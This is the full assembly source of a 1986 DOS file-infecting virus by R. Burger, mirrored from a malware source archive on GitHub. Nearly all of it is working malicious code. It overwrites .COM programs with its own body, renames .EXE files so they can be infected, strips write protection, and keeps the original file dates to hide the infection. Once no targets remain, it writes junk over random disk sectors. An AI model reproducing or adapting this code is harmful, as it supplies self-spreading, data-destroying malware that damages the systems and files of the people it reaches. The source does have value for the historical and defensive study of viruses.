mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
446 lines
14 KiB
NASM
446 lines
14 KiB
NASM
page 70,120
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Name VIRUS
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;*************************************************************************
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; Program Virus Ver.: 1.1
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; Copyright by R. Burger 1986
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; This is a demonstration program for computer
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; viruses. It has the ability to replicate itself,
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; and thereby modify other programs
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;*************************************************************************
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Code Segment
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Assume CS:Code
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progr equ 100h
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ORG progr
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;*************************************************************************
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; The three NOP's serve as the marker byte of the
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; virus which will allow it to identify a virus
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;*************************************************************************
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MAIN:
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nop
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nop
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nop
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;*************************************************************************
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; Initialize the pointers
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;*************************************************************************
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mov ax,00
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mov es:[pointer],ax
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mov es:[counter],ax
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mov es:[disks],al
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;*************************************************************************
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; Get the selected drive
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;*************************************************************************
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mov ah,19h ; drive?
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int 21h
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;*************************************************************************
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; Get the current path on the current drive
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;*************************************************************************
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mov cs:drive,al ; save drive
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mov ah,47h ; dir?
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mov dh,0
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add al,1
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mov dl,al ; in actual drive
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lea si,cs:old_path
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int 21h
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;*************************************************************************
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; Get the number of drives present.
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; If only one drive is present, the pointer for
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; search order will be set to search order + 6
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;*************************************************************************
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mov ah,0eh ; how many disks
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mov dl,0 ;
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int 21h
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mov al,01
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cmp al,01 ; one drive?
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jnz hups3
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mov al,06
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hups3: mov ah,0
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lea bx,search_order
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add bx,ax
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add bx,0001h
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mov cs:pointer,bx
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clc
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;*************************************************************************
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; Carry is set, if no more .COM's are found.
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; Then, to avoid unnecessary work, .EXE files will
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; be renamed to .COM file and infected.
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; This causes the error message "Program too lrage
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; to fit in memory" when starting larger infected
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; EXE programs.
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;*************************************************************************
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change_disk:
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jnc no_name_change
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mov ah,17h ; change exe to com
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lea dx,cs:maske_exe
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int 21h
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cmp al,0ffh
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jnz no_name_change ; .EXE found?
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;*************************************************************************
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; If neither .COM nor .EXE is found, then sectors will
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; be overwritten depending on the system time in
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; milliseconds. This is the time of the complete
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; "infection" of a storage medium. The virus can find
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; nothing more to infect and starts its destruction.
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;*************************************************************************
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mov ah,2ch ; read system clock
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int 21h
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mov bx,cs:pointer
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mov al,cs:[bx]
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mov bx,dx
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mov cx,2
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mov dh,0
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int 26h ; write crap on disk
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;*************************************************************************
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; Check if the end of the search order table has been
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; reached. If so, end.
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;*************************************************************************
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no_name_change:
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mov bx,cs:pointer
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dec bx
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mov cs:pointer,bx
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mov dl,cs:[bx]
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cmp dl,0ffh
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jnz hups2
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jmp hops
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;*************************************************************************
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; Get new drive from search order table and
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; select it.
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;*************************************************************************
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hups2:
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mov ah,0eh
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int 21h ; change disk
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;*************************************************************************
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; Start in the root directory
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;*************************************************************************
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mov ah,3bh ; change path
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lea dx,path
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int 21h
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jmp find_first_file
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;*************************************************************************
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; Starting from the root, search for the first subdir
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; First convert all .EXE files to .COM in the old
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; directory.
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;*************************************************************************
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find_first_subdir:
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mov ah,17h ; change exe to com
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lea dx,cs:maske_exe
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int 21h
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mov ah,3bh ; use root dir
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lea dx,path
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int 21h
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mov ah,04eh ;Search for first subdirectory
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mov cx,00010001b ; dir mask
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lea dx,maske_dir
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int 21h
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jc change_disk
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mov bx,CS:counter
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INC BX
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DEC bx
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jz use_next_subdir
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;*************************************************************************
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; Search for the next subdir. If no more directories
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; are found, the drive will be changed.
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;*************************************************************************
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find_next_subdir:
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mov ah,4fh ; search for next subdir
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int 21h
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jc change_disk
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dec bx
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jnz find_next_subdir
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;*************************************************************************
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; Select found directory
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;*************************************************************************
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use_next_subdir:
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mov ah,2fh ; get dta address
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int 21h
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add bx,1ch
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mov es:[bx],'\ ' ; address of name in dta
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inc bx
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push ds
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mov ax,es
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mov ds,ax
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mov dx,bx
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mov ah,3bh ; change path
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int 21h
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pop ds
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mov bx,cs:counter
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inc bx
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mov CS:counter,bx
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;*************************************************************************
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; Find first .COM file in the current directory.
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; If there are non, search the next directory.
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;*************************************************************************
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find_first_file:
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mov ah,04eh ; Search for first
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mov cx,00000001b ; mask
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lea dx,maske_com ;
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int 21h
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jc find_first_subdir
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jmp check_if_ill
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;*************************************************************************
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; If the program is already infected, search for
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; the next program.
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;*************************************************************************
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find_next_file:
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mov ah,4fh ; search for next
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int 21h
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jc find_first_subdir
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;*************************************************************************
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; Check if already infected by the virus.
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;*************************************************************************
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check_if_ill:
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mov ah,3dh ; open channel
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mov al,02h ; read/write
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mov dx,9eh ; address of name in dta
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int 21h
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mov bx,ax ; save channel
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mov ah,3fh ; read file
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mov cx,buflen ;
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mov dx,buffer ; write in buffer
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int 21h
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mov ah,3eh ; CLODE FILE
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int 21h
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;*************************************************************************
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; Here we search for three NOP's.
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; If present, there is already an infection. We must
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; then continue the search.
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;*************************************************************************
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mov bx,cs:[buffer]
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cmp bx,9090h
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jz find_next_file
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;*************************************************************************
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; Bypass MS-DOS write protection if present
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;*************************************************************************
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mov ah,43h ; write enable
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mov al,0
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mov dx,9eh ; address of name in dta
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int 21h
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mov ah,43h
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mov al,01h
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and cx,11111110b
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int 21h
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;*************************************************************************
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; Open file for write access.
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;*************************************************************************
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mov ah,3dh ; open channel
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mov al,02h ; read/write
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mov dx,9eh ; address of name in dta
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int 21h
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;*************************************************************************
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; Read date entry of program and save for future use.
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;*************************************************************************
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mov bx,ax ; channel
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mov ah,57h ; get date
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mov al,0
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int 21h
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push cx ; save date
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push dx
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;*************************************************************************
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; The jump located at address 0100h of the program
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; will be saved for future use.
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;*************************************************************************
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mov dx,cs:[conta] ; save old jmp
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mov cs:[jmpbuf],dx
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mov dx,cs:[buffer+1] ; save new jump
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lea cx,cont-100h
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sub dx,cx
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mov cs:[conta],dx
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;*************************************************************************
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; The virus copies itself to the start of the file
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;*************************************************************************
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mov ah,40h ; write virus
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mov cx,buflen ; length buffer
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lea dx,main ; write virus
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int 21h
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;*************************************************************************
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; Enter the old creation date of the file.
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;*************************************************************************
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mov ah,57h ; write date
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mov al,1
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pop dx
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pop cx ; restore date
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int 21h
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;*************************************************************************
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; Close the file.
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;*************************************************************************
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mov ah,3eh ; close file
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int 21h
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;*************************************************************************
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; restore the old jump address.
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; The virus saves at address "conta' the jump which
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; was at the start of the host program.
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; This is done to preserve the executability of the
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; host program as much as possible.
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; After saving itstill works with the jump address
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; contained in the virus. The jump address in the
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; virus differs from the jump address in memory
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;
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;*************************************************************************
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mov dx,cs:[jmpbuf] ; restore old jmp
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mov cs:[conta],dx
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hops: nop
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call use_old
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;*************************************************************************
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; Continue with the host program.
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;*************************************************************************
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cont db 0e9h ; make jump
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conta dw 0
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mov ah,00
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int 21h
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;*************************************************************************
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; reactivate the selected drive at the start of the
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; program.
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;*************************************************************************
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use_old:
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mov ah,0eh ; use old drive
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mov dl,cs:drive
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int 21h
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;*************************************************************************
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; Reactivate the selected path at the start of the
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; program.
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;*************************************************************************
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mov ah,3bh ; use old dir
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lea dx,old_path-1 ; get old path and backslash
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int 21h
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ret
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search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
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pointer dw 0000 ; pointer f. search order
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counter dw 0000 ; counter f. nth search
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disks db 0 ; number of disks
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maske_com db "*.com",00 ; search for com files
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maske_dir db "*",00 ; search dir's
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maske_exe db 0ffh,0,0,0,0,0,00111111b
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db 0,"????????exe",0,0,0,0
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db 0,"????????com",0
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maske_all db 0ffh,0,0,0,0,0,00111111b
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db 0,"???????????",0,0,0,0
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db 0,"????????com",0
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buffer equ 0e000h ; a safe place
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buflen equ 230h ; length of virus !!!!!!
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; careful
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; if changing !!!!!!
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jmpbuf equ buffer+buflen ; a safe place for jump
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path db "\",0 ; first path
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drive db 0 ; actual drive
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back_slash db "\"
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old_path db 32 dup(?) ; old path
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code ends
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end main
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;*************************************************************************
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; WHAT THE PROGRAM DOES:
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;
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; When the program is started, the first COM file in the root
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; directory is infected. You can't see any changes to the
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; directory entries. But if you look at the hex dump of an
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; infected program, you can see the marker, which in this case
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; consists of three NOP's (hex 90). WHen the infected program
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; is started, the virus will first replicate itself, and then
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; try to run the host program. It may run or it may not, but
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; it will infect another program. This continues until all
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; the COM files are infected. The next time it is run, all
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; of the EXE files are changed to COM files so that they can
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; be infected. In addition, the manipulation task of the virus
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; begins, which consists of the random destruction of disk
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; sectors.
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;*************************************************************************
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